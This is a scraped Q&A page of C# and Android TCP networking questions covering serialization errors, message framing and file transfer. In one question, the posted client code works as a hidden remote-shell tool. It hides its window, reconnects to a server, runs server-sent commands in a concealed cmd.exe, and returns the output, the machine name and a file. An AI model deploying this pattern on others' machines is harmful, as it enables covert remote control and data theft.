The input stream is not a valid binary format Tcp - c#

I have 2 method they look and work very similarly. Dont know why first method work but second dont. Secound throw Exeption "The input stream is not a valid binary format Tcp" This method send object by tcp from client to server and from server to client.
Can sameone tell me what am I doing wrong?
public static void SendComput(NetworkStream stream)
{
string id = "1";
Byte[] datasend = System.Text.Encoding.ASCII.GetBytes(id);
BinaryFormatter formatter = new BinaryFormatter();
stream.Write(datasend, 0, datasend.Length);
Console.WriteLine("Sent: {0}", id);
while (true)
{
try
{
var data = new Byte[256];
String response = String.Empty;
Int32 bytes = stream.Read(data, 0, data.Length);
response = System.Text.Encoding.ASCII.GetString(data, 0, bytes);
Console.WriteLine("Received: {0}", response);
}
catch (Exception e)
{
throw;
}
try
{
var t = GetComputeUnitsPerf();
var t2 = new Comp();
t2.ComputeTime = (uint)t.TimeMilisceoncd;
t2.DateCheck = t.Date;
t2.Id = Int32.Parse(id);
formatter.Serialize(stream,t2);
Console.WriteLine("Sent: {0}, {1}, {2}", t2.Id , t2.ComputeTime, t2.DateCheck);
Thread.Sleep(100);
}
catch (Exception e)
{
throw;
}
}
}
And server:
public void HandleDeivce3(Object obj)
{
TcpClient client = (TcpClient)obj;
var stream = client.GetStream();
Byte[] bytes = new Byte[256];
int i = 0;
string data = null;
BinaryFormatter formatter = new BinaryFormatter();
Task.Run(() =>
{
string hex = BitConverter.ToString(bytes);
data = Encoding.ASCII.GetString(bytes, 0, i);
Console.WriteLine("Received: {0}", data);
while (true)
{
Thread.Sleep(10000);
Byte[] reply = System.Text.Encoding.ASCII.GetBytes("Send");
stream.Write(reply, 0, reply.Length);
Console.WriteLine("Send");
Thread.Sleep(200);
try
{
if (stream.CanRead)
{
var dataGet = (Comp)formatter.Deserialize(stream);
//Console.WriteLine("Sent: {0}, {1}, {2}", dataGet.Id, dataGet.ComputeTime, dataGet.DateCheck);
Console.WriteLine(dataGet.Id);
}
}
catch (Exception e)
{
throw;
}
}
});
}
I add [Serializable] to Comp class.

Related

C# Client.SendFile() separating stream

Please bear in mind I am new to C# language and networking so forgive me if this might sound obvious.
I'm just in the process of understanding TCP clients and how to separate streams...
In this example, I have 3 sets of data that I want to send...
is a CMD output:
private void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
buffer = encoder.GetBytes("2 " + outLine.Data+ "\r\n");
networkStream = newclient.GetStream();
networkStream.Write(buffer, 0, buffer.Length);
networkStream.Flush();
}
catch (Exception err) { }
}
}
Which returns as a first stream the following:
With a prebuffer as number 2(To separate the data)
The second Is a simple get info:
private void GetClientinfo()
{
networkStream = newclient.GetStream();
buffer = encoder.GetBytes("1 " + Environment.MachineName +"\n"+"Connected");
networkStream.Write(buffer, 0, buffer.Length);
networkStream.Flush();
}
Which then sends the following :
So then my stream ends up being separated:
My issue is then that I try to send a file with the following script:
private void sendFile()
{
// Create the preBuffer data.
string string1 = String.Format("9 ");
byte[] preBuf = Encoding.ASCII.GetBytes(string1);
// Create the postBuffer data.
string string2 = String.Format("");
byte[] postBuf = Encoding.ASCII.GetBytes(string2);
string filePath = #"\Users\nico_\Documents\transfer_ex.txt";
newclient.Client.SendFile(filePath, preBuf, postBuf, TransmitFileOptions.UseDefaultWorkerThread);
}
As you can see, it ends up getting jumbled up with the second stream being sent...
What would be the cause of this?
FULL SERVER SCRIPT:
public partial class Form1 : Form
{
TcpListener tcpListener = new TcpListener(System.Net.IPAddress.Any, 6666);
private int appStatus = 0;
TcpClient client;
TcpClient streamData;
List<TcpClient> clientList = new List<TcpClient>();
NetworkStream networkStream;
Thread th_StartListen, th_handleClient;
StringBuilder strOutput;
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
th_StartListen = new Thread(new ThreadStart(StartListen));
th_StartListen.Start();
txtCmdOutput.Focus();
}
private void StartListen()
{
//Creating a TCP Connection and listening to the port
tcpListener = new TcpListener(System.Net.IPAddress.Any, 6666);
tcpListener.Start();
toolStripStatusLabel1.Text = "Listening on port 6666 ...";
int counter = 0;
appStatus = 0;
while (appStatus != 2)
{
try
{
client = tcpListener.AcceptTcpClient();
counter++;
clientList.Add(client);
IPEndPoint ipend = (IPEndPoint)client.Client.RemoteEndPoint;
//Updating status of connection
toolStripStatusLabel1.Text = "Connected from "+ IPAddress.Parse(ipend.Address.ToString());
appStatus = 1;
th_handleClient = new Thread(delegate () { handleClient(client, counter); });
th_handleClient.Start();
}
catch (Exception err)
{
{
Cleanup();
}
}
}
}
private void handleClient(object client, int i)
{
try
{
TcpClient streamData = (TcpClient)client;
byte[] data = new byte[4096];
byte[] sendData = new byte[4096];
int byteRead;
string strdata;
ASCIIEncoding encode = new ASCIIEncoding();
Thread.Sleep(2000);
NetworkStream networkstream = streamData.GetStream();
//Send Command 1
sendData = encode.GetBytes("1");
networkstream.Write(sendData, 0, sendData.Length);
networkstream.Flush();
//Listen...
while (true)
{
byteRead = 1;
byteRead = networkstream.Read(data, 0, 4096);
//receiveFile();
if (networkstream.DataAvailable != true)
{
strdata = Encoding.ASCII.GetString(data, 0, byteRead);
Debug.WriteLine(strdata);
//Get user info
if (strdata.StartsWith("1"))
{
updateLabel(labelMachinename, strdata, 0);
updateLabel(labelSampleOutput, strdata, 1);
}
if (strdata.StartsWith("2"))
{
updateText(txtCmdConsole, strdata);
}
if (strdata.StartsWith("9"))
{
Debug.WriteLine(strdata);
}
//receiveFile();
}
}
}
catch (Exception err)
{
{
Cleanup();
}
}
}
private void receiveFile()
{
StreamReader reader = new StreamReader(client.GetStream());
string fileSize = reader.ReadLine();
string fileName = reader.ReadLine();
int length = Convert.ToInt32(fileSize);
byte[] buffer = new byte[length];
int received = 0;
int read = 0;
int size = 1024;
int remaining = 0;
while (received < length)
{
remaining = length - received;
if (remaining < size)
{
size = remaining;
}
read = client.GetStream().Read(buffer, received, size);
received += read;
}
// Save the file using the filename sent by the client
using (FileStream fStream = new FileStream(Path.GetFileName(fileName), FileMode.Create))
{
fStream.Write(buffer, 0, buffer.Length);
fStream.Flush();
fStream.Close();
}
Debug.WriteLine("File received and saved in " + Environment.CurrentDirectory);
}
private void txtCmdOutput_KeyDown(object sender, KeyEventArgs e)
{
try
{
if (e.KeyCode == Keys.Enter && appStatus == 1)
{
TcpClient streamData = (TcpClient)client;
byte[] sendData = new byte[4096];
ASCIIEncoding encode = new ASCIIEncoding();
NetworkStream networkstream = streamData.GetStream();
sendData = encode.GetBytes("2 "+ txtCmdOutput.Text.ToString());
networkstream.Write(sendData, 0, sendData.Length);
networkstream.Flush();
txtCmdOutput.Text = "";
}
}
catch (Exception err) {
{
Cleanup();
}
}
}
private void updateLabel(Label label,string strdata, int row)
{
label.Invoke((MethodInvoker)delegate
{
label.Text = strdata.Substring(2).Split(new char[] { '\r', '\n' })[row];
});
}
private void updateText(TextBox text, string strdata)
{
text.Invoke((MethodInvoker)delegate
{
text.AppendText(strdata.Substring(2));
});
}
private void btnKillClient_Click(object sender, EventArgs e)
{
try
{
TcpClient streamData = (TcpClient)client;
byte[] sendData = new byte[4096];
ASCIIEncoding encode = new ASCIIEncoding();
NetworkStream networkstream = streamData.GetStream();
sendData = encode.GetBytes("3");
networkstream.Write(sendData, 0, sendData.Length);
networkstream.Flush();
Cleanup();
}
catch (Exception err)
{
{
Cleanup();
}
}
}
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
System.Environment.Exit(System.Environment.ExitCode);
}
private void Cleanup()
{
try
{
toolStripStatusLabel1.Text = "Connection Lost";
}
catch (Exception err) { }
}
}
FULL CLIENT SCRIPT:
public partial class Form1 : Form
{
private int appStatus = 0;
TcpClient newclient = new TcpClient();
NetworkStream networkStream;
byte[] buffer = new byte[4096];
ASCIIEncoding encoder = new ASCIIEncoding();
Process processCmd;
Thread th_ListenToServer, th_RunServer;
public Form1()
{
InitializeComponent();
}
private void Form1_Shown(object sender, EventArgs e)
{
this.Hide();
th_ListenToServer = new Thread(new ThreadStart(ListenToServer));
th_ListenToServer.Start();
//ConnectToServer();
}
private void ListenToServer()
{
while (!newclient.Connected)
{
try
{
newclient = new TcpClient();
Debug.WriteLine("trying to connect...");
newclient = new TcpClient("127.0.0.1", 6666);
networkStream = newclient.GetStream();
th_RunServer = new Thread(new ThreadStart(RunServer));
th_RunServer.Start();
}
catch (Exception ex)
{
Debug.WriteLine("Could not connect to server");
System.Threading.Thread.Sleep(5000); //Wait 5 seconds then try again
}
}
}
private void RunServer()
{
byte[] data = new byte[4096];
int i;
string strdata;
i = 0;
CmdHandler();
sendFile();
while (newclient.Connected)
{
try
{
i = 0;
i = networkStream.Read(data, 0, data.Length);
if (i == 0) { break; }
strdata = Encoding.ASCII.GetString(data, 0, i);
Debug.WriteLine(strdata);
if (strdata == "1")
{
GetClientinfo();
}
if (strdata.StartsWith("2"))
{
//Debug.WriteLine(strdata);
processCmd.StandardInput.WriteLine(strdata.Substring(2));
}
if (strdata.StartsWith("3"))
{
StopServer();
}
if (strdata.StartsWith("4"))
{
StopServer();
}
else
{
//sendFile();
}
}
catch
{
Cleanup();
new Thread(ListenToServer).Start();
Debug.WriteLine("Attempting Reconection");
}
}
}
private void sendFile()
{
/*
// Create the preBuffer data.
string fileName = #"\Users\nico_\Documents\transfer_ex.txt";
byte[] fileNameByte = Encoding.ASCII.GetBytes(fileName);
byte[] fileNameLen= BitConverter.GetBytes(fileNameByte.Length);
byte[] fileData = File.ReadAllBytes(fileName);
byte[] clientData = new byte[4 + fileNameByte.Length + fileData.Length];
fileNameLen.CopyTo(clientData, 0);
fileNameByte.CopyTo(clientData, 4);
fileData.CopyTo(clientData, 4 + fileNameByte.Length);
networkStream = newclient.GetStream();
buffer = encoder.GetBytes("9 " + clientData);
networkStream.Write(buffer, 0, buffer.Length);
networkStream.Flush();
*/
string string1 = String.Format("9 ");
byte[] preBuf = Encoding.ASCII.GetBytes(string1);
// Create the postBuffer data.
string string2 = String.Format("");
byte[] postBuf = Encoding.ASCII.GetBytes(string2);
string filePath = #"\Users\nico_\Documents\transfer_ex.txt";
newclient.Client.SendFile(filePath, preBuf, postBuf, TransmitFileOptions.UseDefaultWorkerThread);
}
private void GetClientinfo()
{
networkStream = newclient.GetStream();
buffer = encoder.GetBytes("1 " + Environment.MachineName + "\n" + "Connected");
networkStream.Write(buffer, 0, buffer.Length);
networkStream.Flush();
}
private void CmdHandler()
{
processCmd = new Process();
processCmd.StartInfo.FileName = "cmd.exe";
processCmd.StartInfo.CreateNoWindow = true;
processCmd.StartInfo.UseShellExecute = false;
processCmd.StartInfo.RedirectStandardOutput = true;
processCmd.StartInfo.RedirectStandardInput = true;
processCmd.StartInfo.RedirectStandardError = true;
//processCmd.OutputDataReceived += CaptureOutput;
//processCmd.ErrorDataReceived += CaptureError;
processCmd.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
processCmd.ErrorDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
processCmd.Start();
processCmd.BeginOutputReadLine();
}
private void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
buffer = encoder.GetBytes("2 " + outLine.Data + "\r\n");
networkStream = newclient.GetStream();
networkStream.Write(buffer, 0, buffer.Length);
networkStream.Flush();
}
catch (Exception err) { }
}
}
private void Cleanup()
{
try { processCmd.Kill(); } catch (Exception err) { };
networkStream.Close();
}
private void StopServer()
{
Cleanup();
System.Environment.Exit(System.Environment.ExitCode);
}
}
Your first output appends \r\n, which results in separation from the second output. The second output embeds a \n (not \r\n) and ends with nothing, which means nothing separates it from the third output.
Either add a newline after data in GetClientInfo, or add one to preBuf in sendFile().
Or switch to something less ambiguous, like length-prefixing.
Here is the answer:
CLIENT SIDE:
private void sendFile()
{
string string1 = "9";
byte[] preBuf = Encoding.ASCII.GetBytes(string1);
// Create the postBuffer data.
string string2 = "";
byte[] postBuf = Encoding.ASCII.GetBytes(string2);
string filePath = #"\Users\nico_\Documents\transfer_ex.txt";
newclient.Client.SendFile(filePath, preBuf, postBuf, TransmitFileOptions.UseDefaultWorkerThread);
}
SERVER SIDE:
private void ReceiveFile(byte[] data, int byteRead)
{
var path = #"\Users\nico_\Documents\transferreeedd_ex.txt";
FileStream fs = File.OpenWrite(path);
//Debug.WriteLine(byteRead);
//Debug.WriteLine(data);
string ddstrdata = Encoding.ASCII.GetString(data, 0, byteRead);
for (int i = 1; i < byteRead; i++)
{
Debug.WriteLine(i);
fs.WriteByte(data[i]);
}
fs.Close();
}
If you dont use any separtators, on newclient.Client.SendFile you can just put the Filepath and on Server side int i = 0 & not int i = 1

Receive incomplete/wrong string over TCP

I´ve got a problem with my TCP client.
My TCP server sends a Bitmap as a String to the TCP client. At the moment there are 15 bmp per second. My Problem is, that most of them are read as "//////...." when I convert the received byte array to a string.
My TCP server code is (C#):
private void StreamWriter(byte[] writeMessage)
{
TcpClient client = new TcpClient();
client.Connect(IPAddress.Parse(Ip), Port);
NetworkStream streamSender = client.GetStream();
streamSender.Write(writeMessage, 0, writeMessage.Length);
streamSender.Flush();
streamSender.Close();
client.Close();
}
private void sendImage()
{
while (send)
{
MemoryStream mem = new MemoryStream();
image.Save(mem, System.Drawing.Imaging.ImageFormat.Bmp);
mem.Close();
mem.Dispose();
StreamWriter(Encoding.ASCII.GetBytes(Convert.ToBase64String(mem.ToArray())));
i++;
}
}
My client code is (Android Studio):
class MyServerThread implements Runnable {
#Override
public void run() {
try {
ServerSocket ss = new ServerSocket(50000);
while (true) {
Socket s = ss.accept();
InputStream is = (s.getInputStream());
BufferedInputStream bufferedReader = new BufferedInputStream(is);
byte[] contents = new byte[440000];
int bytesRead = 0;
while ((bytesRead = bufferedReader.read(contents)) != -1) {
message = new String(contents, 0, bytesRead);
}
is.close();
bufferedReader.close();
if (message.equals("Connection OK!")) {
createIP();
} else {
createPic();
}
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
I found a solution.
This is the client code now:
class MyServerThread implements Runnable {
#Override
public void run() {
try {
ServerSocket ss = new ServerSocket(50000);
while (true) {
Socket s = ss.accept();
InputStream is = (s.getInputStream());
BufferedReader r = new BufferedReader(new InputStreamReader(is));
StringBuilder total = new StringBuilder();
String line;
while ((line = r.readLine()) != null) {
total.append(line);
}
message = total.toString();
s.close();
is.close();
if (message.equals("Connection OK!")) {
createIP();
} else {
createPic();
}
}
} catch (IOException e) {
e.printStackTrace();
}
}
}

streamread can't read any data from NetworkStream in c# ,

I have a sensor that has an ip and port 192.168.2.44:3000.
I used the herculas to connect to the device ,as you can see in the picture :
enter image description here
I need to implement this software in c# ,so i write this code :
private static void Main(string[] args)
{
try
{
byte[] buffer = new byte[2048]; // read in chunks of 2KB
int bytesRead;
var listener = new TcpListener(IPAddress.Any, 3000);
listener.Start();
NetworkStream network_stream;
StreamReader read_stream;
StreamWriter write_stream;
var client = listener.AcceptTcpClient();
network_stream = client.GetStream();
read_stream = new StreamReader(network_stream);
write_stream = new StreamWriter(network_stream);
write_stream.WriteLine("00010002000B0300010004C380");
write_stream.Flush(); //veriyi gönderiyor
string gelen;
gelen = read_stream.ReadLine();
Console.WriteLine(gelen);
Console.ReadLine();
}
catch (Exception e)
{
Console.WriteLine(e.Message);
Console.ReadLine();
}
}
When i put a breakpoint the gelen = read_stream.ReadLine(); returns null
http://www.hw-group.com/products/hercules/index_en.html
the final code :
class Program
{
static void Main(string[] args)
{
TcpListener server = null;
try
{
Int32 port = 3000;
// IPAddress localAddr = IPAddress.Parse(IPAddress.Any);
server = new TcpListener(IPAddress.Any, port);
server.Start();
// Buffer for reading data
Byte[] bytes = new Byte[256];
String data = null;
while (true)
{
Console.Write("Waiting for a connection... ");
TcpClient client = server.AcceptTcpClient();
Console.WriteLine("Connected!");
data = null;
NetworkStream stream = client.GetStream();
byte[] aaa = { 0, 1, 0, 2, 0, 11, 3, 0, 1, 0, 4, 195, 128 };
stream.Write(aaa, 0, aaa.Length);
int i;
while ((i = stream.Read(bytes, 0, bytes.Length)) != 0)
{
data = System.Text.Encoding.ASCII.GetString(bytes, 0, i);
Console.WriteLine("Received: {0}", data);
data = data.ToUpper();
byte[] msg = System.Text.Encoding.ASCII.GetBytes(data);
stream.Write(msg, 0, msg.Length);
Console.WriteLine("Sent: {0}", data);
}
client.Close();
}
}
catch (SocketException e)
{
Console.WriteLine("SocketException: {0}", e);
}
finally
{
server.Stop();
}
Console.WriteLine("\nHit enter to continue...");
Console.Read();
}
}

How to receive BufferSize from Client to Server?

My Server Class:
namespace Net_Send_File
{
class Server
{
private TcpListener listener;
private IPEndPoint ipep = new IPEndPoint(IPAddress.Any, 15550);
private bool active;
string arg;
// private Socket xxx;
public Server()
{
Console.Clear();
Console.Title = "Server";
Main();
}
private void Main()
{
listener = new TcpListener(ipep);
try
{
listener.Start();
active = true;
ListenForConnections();
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
Console.ReadLine();
}
}
private void ListenForConnections()
{
Console.Clear();
Console.WriteLine("Listening for connections...");
while (active)
{
TcpClient client = listener.AcceptTcpClient();
Console.BackgroundColor = ConsoleColor.Green;
Console.WriteLine("Connection # {0}", TCPIP(client));
new Thread(new ParameterizedThreadStart(HandleClientData)).Start(client);
}
}
private void HandleClientData(object _c)
{
TcpClient c = (TcpClient)_c;
string ipaddr = TCPIP(c);
NetworkStream s = c.GetStream();
// I tried this byte[] buffer = new byte[c.ReceiveBufferSize]; It throws an Exeption.
byte[] buffer = new byte[1024];
int bytesRead;
while (active)
{
bytesRead = 0;
try
{
bytesRead = s.Read(buffer, 0, buffer.Length/2);
}
catch (Exception ex)
{
Console.WriteLine("Socket error # {0}:\r\n{1}", ipaddr, ex.Message);
Console.ReadLine();
break;
}
if (bytesRead == 0)
{
Console.BackgroundColor = ConsoleColor.Red;
Console.WriteLine("Disconnected # {0}", ipaddr);
//new Thread(new ParameterizedThreadStart.ListenForConnections);
break;
}
string dataStr = Encoding.ASCII.GetString(buffer, 0, buffer.Length);
using (var fs = File.OpenWrite("test.txt"))
{
fs.Write(buffer, 0, buffer.Length);
fs.Close();
}
}
}
private string TCPIP(TcpClient c)
{
return ((IPEndPoint)c.Client.RemoteEndPoint).Address.ToString();
}
};
My Client Class:
class Client
{
private TcpClient client;
// private TcpClient client1;
private IPEndPoint ipep;
private int port;
public Client()
{
Console.Clear();
Console.Title = "Client";
bool error = false;
while (true)
{
Console.WriteLine("IPEndPoint: ");
string input = Console.ReadLine();
if (!input.Contains(':'))
{
Console.WriteLine("IPEndPoint in bad format");
break;
}
string[] s1 = input.Split(':');
IPAddress ipaddr;
if (!IPAddress.TryParse(s1[0], out ipaddr) || !int.TryParse(s1[1], out port))
{
Console.WriteLine("IPEndPoint in bad format");
Console.ReadLine();
error = true;
break;
}
ipep = new IPEndPoint(ipaddr, port);
try
{
client = new TcpClient();
client.Connect(ipep);
Console.WriteLine("client 1 is Ready!");
//client1 = new TcpClient();
//client1.Connect(ipep);
//Console.WriteLine("client 2 is Ready!");
}
catch (Exception ex)
{
Console.WriteLine("Unable to connect\r\nReason: {0}", ex.Message);
Console.ReadLine();
error = true;
}
break;
}
while (!error)
{
Console.Clear();
Console.WriteLine("File path: ");
string filePath = Console.ReadLine();
if (File.Exists(filePath) == false)
{
Console.WriteLine("File does not exist\r\nPress ENTER to try again");
Console.ReadLine();
}
byte[] buffer;
using (var fs = File.OpenRead(filePath))
{
buffer = new byte[fs.Length];
fs.Read(buffer, 0, buffer.Length);
Int64 a = client.SendBufferSize; ;
fs.Close();
}
if (SendData(buffer))
{
// client.SendBufferSize(buffer);
//int a = client.SendBufferSize; ;
Console.WriteLine("File sent\r\nFile size: {0} KB", (buffer.Length / 1024));
//a.SetLength((buffer.Length / 1024));
Console.ReadLine();
}
break;
}
}
private bool SendData(byte[] data)
{
try
{
using (NetworkStream ns = client.GetStream())
{
ns.Write(data, 0, data.Length);
ns.Close();
}
return true;
}
catch (Exception ex)
{
Console.WriteLine("Unable to send file\r\nReason: {0}\r\nDetailed:\r\n{1}", ex.Message, ex.ToString());
Console.ReadLine();
return false;
}
}
}
}
}
First of all accept my apologise for my code is badly commented. Or to be honest no comments at all, almost.
Server class, under the method called private void HandleClient Data(object _) I have a buffer. Buffer is set to byte[1024]. I want to receive bufferSize (of my test file) from client, set Server buffer = to ClientBuffer and there after receive file. I have a test file which is 60MB. I tried to send my buffer size from client to server but it doesn't work well. Can someone tell me what I can do and how?
thanks in advance
You should implement an application level protocol, for example:
MESSAGE:
[SIZE (8 BYTES)][DATA (SIZE BYTES)]
Then, use BinaryReader and BinaryWriter
//client
var writer = new BinaryWriter(client.GetStream());
FileInfo fileInfoToSend = new FileInfo(path);
long fileSize = fileInfoToSend.Length;
writer.Write(fileSize);
using (FileStream fileStream = fileInfoToSend .Open(FileMode.Open, FileAccess.Read))
{
fileStream.CopyTo(writer.BaseStream);
fileStream.Close();
}
//server
var stream = c.GetStream();
var reader = new BinaryReader(c.GetStream());
FileInfo fileInfoToWrite = new FileInfo(path);
long fileSize = reader.ReadInt64();
using (FileStream fileStream = fileInfoToWrite.Create())
{
int read = 0;
for (long i = 0; i < fileSize; i += (long)read)
{
byte[] buffer = new byte[1024];
read = stream.Read(buffer, 0, Math.Min(fileSize - i, 1024));
if (read == 0)
return;//client disconnected!(or throw Exception)
fileStream.Write(buffer, 0, read);
}
}
untested

Sending files from Android client to c# server, breaks before reading whole file

c# code
private MemoryStream Read() {
NetworkStream clientStream = _client.GetStream();
MemoryStream messageStream = new MemoryStream();
var inbuffer = new byte[65535];
if(clientStream.CanRead) {
do {
int bytesRead = clientStream.Read(inbuffer,0,inbuffer.Length);
messageStream.Write(inbuffer, 0, bytesRead);
messageStream.Flush();
Debug.Print(messageStream.Length + " added " + bytesRead);
} while(clientStream.DataAvailable); // GOES BEYOND HERE, EVEN THOUGH THERE'S MORE DATA
}
messageStream.Position = 0;
return messageStream;
}
android code
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
if(resultCode == RESULT_OK){
if(requestCode == ATTACH_FILE_REQUEST){
writeToSocket("<FILE>generic.jpeg");
InputStream input = null;
String filePath = data.getData().getPath().toString();
try {
input = getContentResolver().openInputStream(data.getData());
BufferedInputStream bufferedInputStream = new BufferedInputStream(input);
byte[] bytes = new byte[65535];
ByteArrayOutputStream byteArray = new ByteArrayOutputStream();
while((bufferedInputStream.read(bytes)) != -1){
byteArray.write(bytes, 0, bytes.length);
}
socketNetworkHelper.writeFile(byteArray.toByteArray());
} catch (FileNotFoundException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
Toast.makeText(this, "Error in file selection", Toast.LENGTH_LONG).show();
} catch (IOException e2){
e2.printStackTrace();
Toast.makeText(this, "Input/Output Error", Toast.LENGTH_LONG).show();
}
}
}
}
In SocketNetworkHelper.java which has a socket connected:
public void writeFile(byte[] buffer) {
try {
socket.getOutputStream().write(buffer);
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
The question is: How can I get the whole file?
You could also send the filesize as a parameter
private MemoryStream Read(int filesize) {
NetworkStream clientStream = _client.GetStream();
MemoryStream messageStream = new MemoryStream();
var inbuffer = new byte[filesize];
if (clientStream.CanRead) {
int totalBytesRead = 0;
do {
int bytesRead = clientStream.Read(inbuffer, 0, inbuffer.Length);
totalBytesRead += bytesRead;
messageStream.Write(inbuffer, 0, bytesRead);
messageStream.Flush();
} while (totalBytesRead < filesize);
}
messageStream.Position = 0;
return messageStream;

Categories